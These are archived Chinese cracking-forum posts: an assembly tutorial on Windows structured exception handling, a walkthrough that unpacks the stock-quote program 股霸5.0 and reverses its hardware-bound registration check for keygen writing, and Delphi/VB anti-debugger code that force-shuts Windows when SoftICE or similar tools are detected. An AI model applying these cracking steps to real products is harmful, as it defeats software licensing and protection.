per_xHandler3 PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
pushad
MOV ESI,pExcept
ASSUME ESI:PTR EXCEPTION_RECORD
MOV EDI,pContext
ASSUME EDI:PTR CONTEXT

TEST [ESI].ExceptionFlags,1
JNZ @cantdo3
TEST [ESI].ExceptionFlags,6
JNZ @unwind3
;-----------------------------------------

push ecx
mov ecx,cs
xor cl,cl
jecxz win2k_Xp
win9X:
pop ecx
CMP [ESI].ExceptionCode,0C000001DH ;非法指令异常,与2K/XP下的不一致
JNZ @cantdo3
jmp ok_here
win2k_Xp:
pop ecx ;注意，只有在9X下才可以
CMP [ESI].ExceptionCode,0C000001EH ;非法指令异常->2K/XP
JNZ @cantdo3 ;sMc不成

mov [edi].regEip,offset safereturn
popad
mov eax,0
ret

push ebx
push esi
push edi
comment $ 调用RtlUnwind展开堆栈
lea ebx,unwindback
invoke RtlUnwind,Expt3_frm,ebx,esi,0
$
mov dword ptr [esi+4],2 ;置展开标志,准备展开,这里是
;手动代码
mov ebx,fs:[0]

selfun:
;mov eax,Expt2_frm ;这里显示了ASM手动展开的灵活性
mov eax,Expt3_frm
cmp ebx,eax ;按照Jeremy Gordon的好像不大对头
;cmp dword ptr [ebx],-1 ;这样好像有问题,只好如上,请教答案
jz unwindback
push ebx
push esi ; 压入Err和Exeption_registration结构
call dword ptr[ebx+4]
add esp,8
mov ebx,[ebx]
jmp selfun

unwindback:
invoke MessageBox,0,CTEXT("I am Back!"),addr sztit,40h
pop edi
pop esi
pop ebx ;一定要保存这三个寄存器！

MOV EAX,[EDI].regEip
MOV DWORD PTR[EAX],90909090H ;改为nop指令...SMC呵呵这次不神秘了吧
;SMC注意连接选项
popad
MOV EAX, ExceptionContinueExecution
RET

@unwind3:
invoke MessageBox,0,CTEXT("Note... unwinding in xhandler3..."),addr sztit,40h
@cantdo3:
popad
MOV EAX,ExceptionContinueSearch
RET
per_xHandler3 ENDP
;-----------------------------------------
;lame routine for debug
Dispcont proc
inc count
call dispMsg
ret
Dispcont endp

dispMsg proc
local szbuf[200]:byte
pushad
mov eax,dword ptr[esi]
mov ebx,dword ptr[esi+4]
mov ecx,dword ptr[edi+0b8h]
mov edx,dword ptr[edi+0a4h]
.data
fmt db "Context eip--> %8X ebx--> %8X ",0dh,0ah
db "Flags Ex.c-> %8x flg--> %8X",0dh,0ah
db "it's the %d times xhandler was called!",0
.code
invoke wsprintf,addr szbuf,addr fmt,ecx,edx,eax,ebx,count
invoke MessageBox,0,addr szbuf,CTEXT("related Mess of context"),0
popad
ret
dispMsg endp

;;------------------------------------------------
END _Start
;---------------------------------下面是上面用到的宏,我的mac.h比较长,就不贴了-----
ddd MACRO Text ;define data in .data section
local name ;This and other can be used as: ddd("My god!")
.data ;isn't cool?
name db Text,0
.code
EXITM <addr name>
ENDM

CTEXT MACRO y:VARARG ;This is a good macro
LOCAL sym
CONST segment
IFIDNI <y>,<>
sym db 0
ELSE
sym db y,0
ENDIF
CONST ends
EXITM <OFFSET sym>
ENDM

m2m MACRO M1, M2 ;mov is too boring sometimes!
push M2
pop M1
ENDM
;-----------------------------------------
最后更正一点前面介绍的传送给final型的参数是指向EXCEPTION_POINTERS 的指针,压栈前的堆栈
是如下的,不好意思,原来写的时候我也没深入研究,可能模糊了一点,如有错误,请大家指正
push ptEXCEPTION_POINTERS
call xHandler
下面补充一个final参数获得的一个例子
;--------------------------------------------
; Ex5,演示final处理句柄的参数获取,更正前面
; 模糊的介绍
;--------------------------------------------
.586
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h
include mac.h

;;--------------
.data
sztit db "exceptION MeSs,by hume[AfO]",0
fmt db "Context eip--> %8X ebx--> %8X ",0dh,0ah
db "Flags Ex.c-> %8x flg--> %8X",0
szbuf db 200 dup(0)
;;-----------------------------------------
.CODE
_Start:
assume fs:nothing
push offset _final_xHandler0
call SetUnhandledExceptionFilter
xor ebx,ebx
mov eax,200
cdq
div ebx
invoke MessageBox,0,ddd("Good,divide overflow was solved!"),addr sztit,40h
xor eax,eax
mov [eax],ebx

invoke ExitProcess,0

;-----------------------------------------
_final_xHandler0:
push ebp
mov ebp,esp

mov eax,[ebp+8] ;the pointer to EXCEPTION_POINTERS
mov esi,[eax] ;pointer to _EXCEPTION_RECORD
mov edi,[eax+4] ;pointer to _CONTEXT
test dword ptr[esi+4],1
jnz @_final_cnotdo
test dword ptr[esi+4],6
jnz @_final_unwind

;call dispMsg

cmp dword ptr[esi],0c0000094h
jnz @_final_cnotdo

mov dword ptr [edi+0a4h],10
call dispMsg

mov eax,EXCEPTION_CONTINUE_EXECUTION ;GO ON
jmp @f

@_final_unwind:
invoke MessageBox,0,CTEXT("state:In final unwind..."),addr sztit,0
;好像不论处理不处理异常,系统展开的时候
;都不会被调用,right?
@_final_cnotdo: ;请教是真的吗?还是我写的有问题
mov eax,EXCEPTION_CONTINUE_SEARCH
jmp @f
@@:
mov esp,ebp
pop ebp
ret
;-----------------------------------------
dispMsg proc
pushad
mov eax,[esi]
mov ebx,[esi+4]
mov ecx,[edi+0b8h]
mov edx,[edi+0a4h]
invoke wsprintf,addr szbuf,addr fmt,ecx,edx,eax,ebx
invoke MessageBox,0,addr szbuf,CTEXT("related Mess of context"),0
popad
ret
dispMsg endp
;;------------------------------------------------

END _Start
;====================================================================================

BTW:够长了吧,基本内容介绍完毕,更多内容下一部分介绍一点利用Seh的tricks,哪位大侠有什么好的想法
或者有什么错误,请不吝指正,毕竟我是菜鸟吗...

=====================================================================================
一点闲话:请CUT--------------------------
最近很郁闷,生活上的工作上的,就这样懒懒懒散散地目无光彩地苟活于世,最近看了一点C++,有的地方
头大,于是拿起老家伙asm写了点以前许诺过的东西,感觉还是ASM最有助于理解基本原理~~~不过C/C++给了我
们另外的工具,虽然目标代码不够紧凑(理想状态),毕竟不需要我们每个人写内核,C/C++可以提高生产能力.
crack也一样,如果一些基本概念都不懂明白还谈什么crack?昨天看精华III一些高手的文章,真是惭愧啊!

我的专业不是计算机或者以后永远也不会搞计算机,这些当也许只是业余爱好,永远不会放弃的业余爱好.
以后也许很长一段时间里面我会离开大家,毕竟,面临的还有生活.
感谢CCG,BCG的各位高手,AfO的成员们,以及那些曾无私指导过以及给我生活动力的朋友们!
我要奋斗!
我以此激励自己也同样希望能够激励大家!
2002.1.28深夜~~沉思中
----------------------------------------cut------------------------------------


股霸5.0

 标 题:第一篇破文，请各位老大指教。 (11千字)
发信人:hyzhang001
时 间:2001-10-17 0:22:04
详细信息:
知道这个论坛也将近一年了，经常来这里听各位的高论，受益匪浅，看了论坛精华2和3之后，禁不住手痒，也学着破软件，可功力浅，只好专捏“软柿子”了。（这是我第一次写破解，有言不达意之处，请多多包涵。＾O＾）

软件：股霸5.0
功能：通视卡用户接收东方上证信息工具，有通视卡的兄弟可以试试，可能我不会用，算出注册码注册成功后仍就接收不到股市信息（不过拿来练练手倒不错）。
下载地址：http://stockhot.my.west163.com/down/Gb50SHM.exe
软件保护：加壳，代码采用花指令法加密，使用了cih的技术（使TRW2000在某些地址不能中断），注册码在DLL文件中计算对比（注册码算法中使用了硬件信息）。
工具：TRW2000,WinHex9.5，caspr1.011(一个非常好的脱壳软件，我喜欢，感谢作者的不懈努力）,fs2k55(也是一个很好的侦测加壳类型的软件），w32dasm8.93。
过程：
运行主程序sdlzc.exe后，输入注册码“787878787878787878”一共十六位，按现在注册按钮后，出现“对不起，注册失败！！！”注册错误消息窗口，至此，通常破解方法为设断bpx MessageBoxA,然后采用逆推法，寻找能跳过CALL　MessageBoxA的地方，这样可以尽快找到核心比较代码（大部分程序是这样的吧）。
用fs2k55侦测文件，发现有加壳，用caspr让它一丝不挂吧。
用w32dasm反汇编，寻找“对不起，注册失败！！！”的错误信息，Ok!,w32dasm总是不会让人失望，在0040129A地址找到了这个错误信息，好！，往上找，原来是从00401266跳来的，看来0040125F的call 00401822必有问题，追进去看看。
:00401249 817D0C11010000 cmp dword ptr [ebp+0C], 00000111
:00401250 0F8584000000 jne 004012DA
:00401256 817D10E8030000 cmp dword ptr [ebp+10], 000003E8
:0040125D 7550 jne 004012AF
:0040125F E8BE050000 call 00401822
:00401264 0BC0 or eax, eax *eax如果为0则死,不为0则注册成功。
:00401266 752A jne 00401292
:00401268 6A00 push 00000000
:0040126A FF35FF684000 push dword ptr [004068FF]

* Possible StringData Ref from Data Obj ->"恭喜您，注册成功！"
|
:00401270 68CD624000 push 004062CD
:00401275 FF358A644000 push dword ptr [0040648A]

* Reference To: USER32.MessageBoxA, Ord:01BBh
|
:0040127B E8560D0000 Call 00401FD6
:00401280 6A00 push 00000000
:00401282 FF358A644000 push dword ptr [0040648A]

* Possible StringData Ref from Data Obj ->"对不起，注册失败！！！"
|
:0040129A 68E0624000 push 004062E0
:0040129F FF358A644000 push dword ptr [0040648A]

* Reference To: USER32.MessageBoxA, Ord:01BBh
|
:004012A5 E82C0D0000 Call 00401FD6
:004012AA E9B9000000 jmp 00401368

0040125F的call 00401822果然有问题，以下见代码中注解。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040101E(U)
|
:00401822 55 push ebp
:00401823 8BEC mov ebp, esp
:00401825 83C4F8 add esp, FFFFFFF8
:00401828 60 pushad
:00401829 B805000000 mov eax, 00000005
:0040182E 8945FC mov dword ptr [ebp-04], eax
:00401831 6A1E push 0000001E
:00401833 68A5624000 push 004062A5
:00401838 6A64 push 00000064
:0040183A FF358A644000 push dword ptr [0040648A]

* Reference To: KERNEL32.lstrlenA, Ord:02E2h
|
:00401865 E890070000 Call 00401FFA
:0040186A 83F810 cmp eax, 00000010 *这里比较注册码长度，不等于16位则死
:0040186D 7516 jne 00401885
:0040186F 6857634000 push 00406357
:00401874 6853634000 push 00406353
:00401879 68A5624000 push 004062A5

* Reference To: sdldll.GetDateInKJMReg, Ord:000Ah
|
:0040187E E8430B0000 Call 004023C6 *按f10到这里后，再按f10则直接出现注册
:00401883 EB0C jmp 00401891 *失败的错误信息，这里也有问题，追吧。

sdldll.dll也有加壳，直接用caspr脱。
Exported fn(): GetDateInKJMReg - Ord:000Bh
:10007FFA 55 push ebp
:10007FFB 8BEC mov ebp, esp
:10007FFD 83C4F8 add esp, FFFFFFF8
:10008000 60 pushad
:10008001 8B7D08 mov edi, dword ptr [ebp+08]
:10008004 8D35BEF80010 lea esi, dword ptr [1000F8BE]
:1000800A 56 push esi
:1000800B 57 push edi
:1000800C 6A09 push 00000009
:1000800E 57 push edi
:1000800F 68AAF80010 push 1000F8AA

* Reference To: KERNEL32.lstrcpynA, Ord:02DFh
|
:10008037 E806070000 Call 10008742
:1000803C 68AAF80010 push 1000F8AA
:10008041 E86E050000 call 100085B4
:10008046 5F pop edi
:10008047 5E pop esi
:10008048 8906 mov dword ptr [esi], eax
:1000804A 8D35BEF80010 lea esi, dword ptr [1000F8BE]
:10008050 8B06 mov eax, dword ptr [esi]
:10008052 8945FC mov dword ptr [ebp-04], eax

* Reference To: sdldll.GetJQZW
|
:10008055 E866FEFFFF call 10007EC0 *此call获得硬件信息
:1000805A 50 push eax
:1000805B FF1590F80010 call dword ptr [1000F890] *此F(1)对EAX中硬件信息作复杂转换
:10008061 83C404 add esp, 00000004
:10008064 A38FF90010 mov dword ptr [1000F98F], eax
:10008069 3345FC xor eax, dword ptr [ebp-04] *[ebp-4]中为注册码前8位
:1000806C 50 push eax
:1000806D FF158CF80010 call dword ptr [1000F88C] *此F(2)对EAX作复杂转换（看的头都:10008073 83C404 add esp, 00000004 *大了还是不明白算法）
:10008076 6652 push dx
:10008078 6650 push ax
:1000807A 58 pop eax *EAX为上call结果
:1000807B EB02 jmp 1000807F
:1000807D EA3360EB026967 jmp 6769:02EB6033 ***这里以后采用了“花指令”法。***
:10008084 EB02 jmp 10008088
我倒，用trw2000追到1000807B后，按一下F8，代码变一变，再按几下F8，前后代码都不对了（挂在半空的滋味真不错，你也来尝尝。），原来作者用了“花指令”，经仔细分析后，祭出了winHex,修改后代码如下。
:1000807D 90 nop
:1000807E 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000807B(U)
|
:1000807F 60 pushad
:10008080 EB02 jmp 10008084
:10008082 90 nop
:10008083 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10008080(U)
|
:10008084 EB02 jmp 10008088

这样看起来顺眼多了。
噫！追着追着怎么出现了......
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10008089(U)
|
:1000808D B903000000 mov ecx, 00000003
:10008092 8D05BB550010 lea eax, dword ptr [100055BB] **这里为修改int 3入口作准备
:10008098 8B1D02A00010 mov ebx, dword ptr [1000A002]
:1000809E EB02 jmp 100080A2
:100080A0 90 nop
:100080A1 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000809E(U)
|
:100080A2 8D1CCB lea ebx, dword ptr [ebx+8*ecx]
:100080A5 668903 mov word ptr [ebx], ax **这里修改int 3入口
:100080A8 EB02 jmp 100080AC
:100080AA 90 nop
:100080AB 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100080A8(U)
|
:100080AC C1E810 shr eax, 10
:100080AF EB02 jmp 100080B3
:100080B1 90 nop
:100080B2 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100080AF(U)
|
:100080B3 66894306 mov word ptr [ebx+06], ax
:100080B7 EB02 jmp 100080BB
:100080B9 90 nop
:100080BA 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100080C0(U)
|
:100080C4 CC int 03 **这里是cih病毒的技术，获得了0级特权，它想做什么 **呢？？自己U 100055BB看看吧。
**这里F8、F10都死，只好在100055BB中作作手脚了。

继续追吧......
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10008111(U)
|
:10008115 BB34122989 mov ebx, 89291234
:1000811A 81E3FFFF0000 and ebx, 0000FFFF
:10008120 EB02 jmp 10008124
:10008122 90 nop
:10008123 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10008120(U)
|
* Reference To: sdldll.NewKjmSuanFa
|
:10008124 E824D0FFFF call 1000514D **关键，开机码（注册码前8位）算法，算法很简单
:10008129 EB02 jmp 1000812D　**(大概为eax xor 1234h,eax xor 52071197,eax xor **12345678)但不容易找到计算子程序，此子程序代替了 **int 1处理程序,trw2000没办法追。

来到了......
:100081C3 80FC09 cmp ah, 09 **eax为注册码前8位经计算后内容，看来此程序只允许
:100081C6 7704 ja 100081CC **用到2009年12月，程序中另有一处比较当前日期。
:100081C8 3C12 cmp al, 12
:100081CA 7606 jbe 100081D2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100081C6(C)
|
:100081CC EB02 jmp 100081D0
:100081CE 90 nop
:100081CF 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100081CC(U)
|
:100081D0 33C0 xor eax, eax **EAX为0则注册错误。

以下比较计算注册码后8位。
:10008271 8D35BEF80010 lea esi, dword ptr [1000F8BE] *注册码前8位地址
:10008277 FC cld
:10008278 AD lodsd
:10008279 33058FF90010 xor eax, dword ptr [1000F98F] *经转换后硬件信息地址
:1000827F 8945F8 mov dword ptr [ebp-08], eax
:10008282 AD lodsd
:10008283 33058FF90010 xor eax, dword ptr [1000F98F] *注册码后8位地址
:10008289 50 push eax
:1000828A FF158CF80010 call dword ptr [1000F88C] *同前面:1000806D之F(2)
:10008290 83C404 add esp, 00000004
:10008293 6652 push dx
:10008295 6650 push ax
:10008297 58 pop eax *注册码后8位经转换后内容
:10008298 3345F8 xor eax, dword ptr [ebp-08]
:1000829B 66B90800 mov cx, 0008
:1000829F 8BD8 mov ebx, eax
:100082A1 53 push ebx
:100082A2 83E30F and ebx, 0000000F
:100082A5 83FB09 cmp ebx, 00000009
:100082A8 7602 jbe 100082AC
:100082AA 33C0 xor eax, eax *EAX为0注册失败,必须跳过。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100082A8(C)
|
:100082AC 5B pop ebx
:100082AD C1EB04 shr ebx, 04
:100082B0 E2EF loop 100082A1
:100082B2 8B7510 mov esi, dword ptr [ebp+10]
:100082B5 8906 mov dword ptr [esi], eax
:100082B7 61 popad
:100082B8 C9 leave
:100082B9 C20C00 ret 000C

至此程序注册算法基本上已弄明白，有兴趣的朋友可写注册机了（函数F(1)和F(2)互逆）。


Anti-Debug

标 题:好无聊啊，贴段源代码吧：测试Ice是否运行。 (2千字)
发信人:datm
时 间:2001-12-8 9:37:52
详细信息:

 unit StopIce;

{ Anti debug unit. Detect SoftIce and shutdown Windows.

Freware with source.

Copyright (c) 1998 Soft House Labs, Andre N Belokon
Web    http://softlab.od.ua/
Email  support@softlab.od.ua

THIS SOFTWARE AND THE ACCOMPANYING FILES ARE DISTRIBUTED
"AS IS" AND WITHOUT WARRANTIES AS TO PERFORMANCE OF MERCHANTABILITY OR
ANY OTHER WARRANTIES WHETHER EXPRESSED OR IMPLIED.
NO WARRANTY OF FITNESS FOR A PARTICULAR PURPOSE IS OFFERED.
THE USER MUST ASSUME THE ENTIRE RISK OF USING THE ACCOMPANYING CODE.
}

interface

implementation

uses Windows;

Function IsSoftIce95Loaded: boolean;
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsSoftIceNTLoaded: boolean;
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\NTICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

function WinExit(flags: integer): boolean;
function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var tpPrev,
tp        : TTokenPrivileges;
token      : THandle;
dwRetLen  : DWord;
begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or
  TOKEN_QUERY, token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID)
  then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev),
  tpPrev, dwRetLen);
end;
CloseHandle(token);
end;
begin
if SetPrivilege('SeShutdownPrivilege', true) then begin
ExitWindowsEx(flags, 0);
SetPrivilege('SeShutdownPrivilege', False)
end;
end;

initialization
if IsSoftIce95Loaded or IsSoftIceNTLoaded then begin
WinExit(EWX_SHUTDOWN or EWX_FORCE);
Halt;
end;
end.

标 题:好郁闷啊，讲解一下吧～～～ (5千字)
发信人:娃娃[CCG]
时 间:2001-12-8 12:42:16
详细信息:

这段代码的Anti-Debug原理其实非常简单，也是目前非常普遍的一种检测DeBUGGER的方法，它利用WINDOWS的API函数CreateFileA来试图打开调试器的驱动程序句柄，这就是著名的“MeltICE”方法，制作出SoftICE和SmartCheck的NuMega公司的程序员就是利用这个方法来使Symbol Loader检查softice是否已经激活 (这段代码位于nmtrans.dll中)，虽然这个方法最初来源于softice，但是它对其它类型的debugger检测依然有效，而且实现方法简单易行，以至于后来越来越多的软件都是用这种方法检测DeBUGGer的存在，比如美萍系列软件，著名的幻影(DBPE)，Acrobat Reader等等。

以下是一些调试器的驱动程序句柄有：

    SICE, SIWVID (对应softice Win9x版)
    NTICE (对应softice WinNT版)
    TRW、TRW2000、TRDEBUG (对应TRWIN)
    REGVXD (对应Registry Monitor)
    BW2K (DBoy的冲击波2000)
    FILEVXD (对应File Monitor)
…… ……

根据这些我们来补全这个Anti－DeBUGGer源代码：
——————————————————————————————————————————
unit StopIce;

interface

implementation

uses Windows;

Function IsSoftIce95Loaded: boolean; //声明一个检测SoftICE的boolean型变量
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsSoftIceNTLoaded: boolean; //声明一个检测SoftIceNT的boolean型变量
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\NTICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsTRWLoaded: boolean; //声明一个检测TRW的boolean型变量 可以对付我修改过的那个TRW2000
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\TRWDEBUG', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsTRW2000Loaded: boolean; //声明一个检测TRW2000的boolean型变量
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\TRW2000', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsRegMONLoaded: boolean; //声明一个检测RegMON的boolean型变量
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\REGVXD', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsFileMONLoaded: boolean; //声明一个检测FileMON的boolean型变量
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\FILEVXD', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

Function IsBW2000Loaded: boolean; //声明一个检测冲击波2000的boolean型变量 加壳时说不定用的上
Var hFile: Thandle;
Begin
result := false;
hFile := CreateFileA('\\.\bw2k', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
End;

function WinExit(flags: integer): boolean;
function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var tpPrev,
tp : TTokenPrivileges;
token : THandle;
dwRetLen : DWord;
begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID) then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev, dwRetLen);
end;
CloseHandle(token);
end;
begin
if SetPrivilege('SeShutdownPrivilege', true) then begin
ExitWindowsEx(flags, 0);
SetPrivilege('SeShutdownPrivilege', False)
end;
end;

initialization
if IsSoftIce95Loaded or IsSoftIceNTLoaded or IsBW2000Loaded or IsFileMONLoaded or IsRegMONLoaded IsTRW2000Loaded or IsTRWLoaded then begin //若上述声明的任何一个函数值为True则关机
WinExit(EWX_SHUTDOWN or EWX_FORCE);
Halt;
end;
end.

——————————————————————————————————————————————

但如果你直接用CREATEFILEA来设断拦截是没用的
为了检测这些检测程序，我们可以在softice中通过下面的断点来拦截它们：
BPX CreateFileA if *(esp->4+4)=='SICE' || *(esp->4+4)=='SIWV' || *(esp->4+4)=='NTIC'
BPINT 30 if eax==002A001F && (*edi=='SICE' || *edi=='SIWV') ; 将会中断3次
BPINT 30 if (*edi=='SICE' || *edi=='SIWV')
BPX KERNEL32!ORD_0001 if *edi=='SICE' || *edi=='SIWV' ; 将会中断3次
BPX VMM_GetDDBList if eax->3=='SICE' || eax->3=='SIWV'
BPX CreateFileA if *(esp->4+4)=='TRW' （这个可以断美萍）

最近挺郁闷的，心情太差
大概以后就不再以CCG成员的身份发表文章了 唉～～ 真郁闷……

娃娃(NYDoll)
本来无一物 何处惹尘埃？

标 题:以上的代码不外乎是检测SOFTICE、关机，VB中可以这样实现。 (4千字)
发信人:- Aming -
时 间:2001-12-8 13:08:15
详细信息:

以上的代码不外乎是检测SOFTICE、关机，VB中可以这样实现。
近日抱病在身，抱歉。

Public Declare Function CreateFileNS Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function WriteFileNO Lib "kernel32" Alias "WriteFile" (ByVal Hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long

Public Const GENERIC_READ = &H80000000
Public Const GENERIC_WRITE = &H40000000
Public Const FILE_SHARE_READ = &H1
Public Const FILE_SHARE_WRITE = &H2
Public Const OPEN_EXISTING = 3
Public Const FILE_ATTRIBUTE_NORMAL = &H80

Public Function SoftICELoaded() As Boolean
Dim Hfile As Long, Retval As Long

Hfile = CreateFileNS("\\.\SICE", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
If Hfile <> -1 Then
' SoftICE is detected.
Retval = CloseHandle(Hfile) ' Close the file handle
SoftICELoaded = True
Exit Sub
Else
Hfile = CreateFileNS("\\.\NTICE", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)

If Hfile <> -1 Then
' SoftICE is detected.
Retval = CloseHandle(Hfile) ' Close the file handle
SoftICELoaded = True
Exit Sub
End If
' SoftICE is not found.
SoftICELoaded = False
End If
End Function

Sub Main()
If SoftICELoaded Then ' check if softice is loaded
MsgBox "SoftICE is detected! Closing now!", vbMsgBoxSetForeground + vbInformation, "SoftICE-Detector By Aming"
End ' if true finish the app
End If
MsgBox "SoftICE Was Not Found In Memory!", vbMsgBoxSetForeground + vbInformation, "SoftICE-Detector By Aming"
End Sub

' =========================== 关机、重启、挂起代码
Private Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long
End Type

Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type

Private Const EWX_SHUTDOWN As Long = 1
Private Const EWX_FORCE As Long = 4
Private Const EWX_REBOOT = 2

Private Declare Function ExitWindowsEx Lib "user32" (ByVal _
dwOptions As Long, ByVal dwReserved As Long) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32" (ByVal _
ProcessHandle As Long, _
ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" _
Alias "LookupPrivilegeValueA" _
(ByVal lpSystemName As String, ByVal lpName As String, lpLuid _
As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" _
(ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES _
, ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Sub AdjustToken()
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long

hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or _
TOKEN_QUERY), hdlTokenHandle

' Get the LUID for shutdown privilege.
LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid

tkp.PrivilegeCount = 1 ' One privilege to set
tkp.TheLuid = tmpLuid
tkp.Attributes = SE_PRIVILEGE_ENABLED

' Enable the shutdown privilege in the access token of this process.
AdjustTokenPrivileges hdlTokenHandle, False, _
tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded

End Sub

Public Sub ShutDown()
AdjustToken
ExitWindowsEx (EWX_SHUTDOWN), &HFFFF
End Sub

Public Sub ReStart()
AdjustToken
ExitWindowsEx (EWX_FORCE), &HFFFF

End Sub
Public Sub ReBooT()
AdjustToken
ExitWindowsEx (EWX_REBOOT), &HFFFF
End Sub

